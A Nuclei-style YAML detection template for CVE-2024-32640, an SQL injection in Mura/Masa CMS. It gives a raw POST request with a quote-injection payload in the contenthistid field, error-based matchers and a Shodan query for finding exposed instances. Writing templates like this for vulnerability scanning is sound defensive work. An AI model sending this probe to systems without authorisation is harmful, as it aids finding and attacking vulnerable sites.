41 lines
1.4 KiB
YAML
41 lines
1.4 KiB
YAML
id: CVE-2024-32640
|
|
|
|
info:
|
|
name: Mura/Masa CMS - SQL Injection
|
|
author: iamnoooob,rootxharsh,pdresearch
|
|
severity: critical
|
|
description: |
|
|
The Mura/Masa CMS is vulnerable to SQL Injection.
|
|
impact: |
|
|
Successful exploitation could lead to unauthorized access to sensitive data.
|
|
remediation: |
|
|
Apply the vendor-supplied patch or update to a secure version.
|
|
reference:
|
|
- https://blog.projectdiscovery.io/hacking-apple-with-sql-injection/
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32640
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: masacms
|
|
product: masacms
|
|
shodan-query: 'Generator: Masa CMS'
|
|
tags: cve,cve2024,sqli,cms,masa,masacms
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
object=displayregion&contenthistid=x\'&previewid=1
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code == 500'
|
|
- 'contains(header, "application/json")'
|
|
- 'contains_all(body, "Unhandled Exception")'
|
|
- 'contains_all(header,"cfid","cftoken")'
|
|
condition: and
|
|
# digest: 490a0046304402205137d62a1a156eb05abb3b8cf2e25cf11515c4d7e2f7e0180a2178ad123af0d1022076a749c27251a5412b13e303a6a6724eb2c1d40dbfe236975cd2f0f1050201dd:922c64590222798bb761d5b6d8e72950 |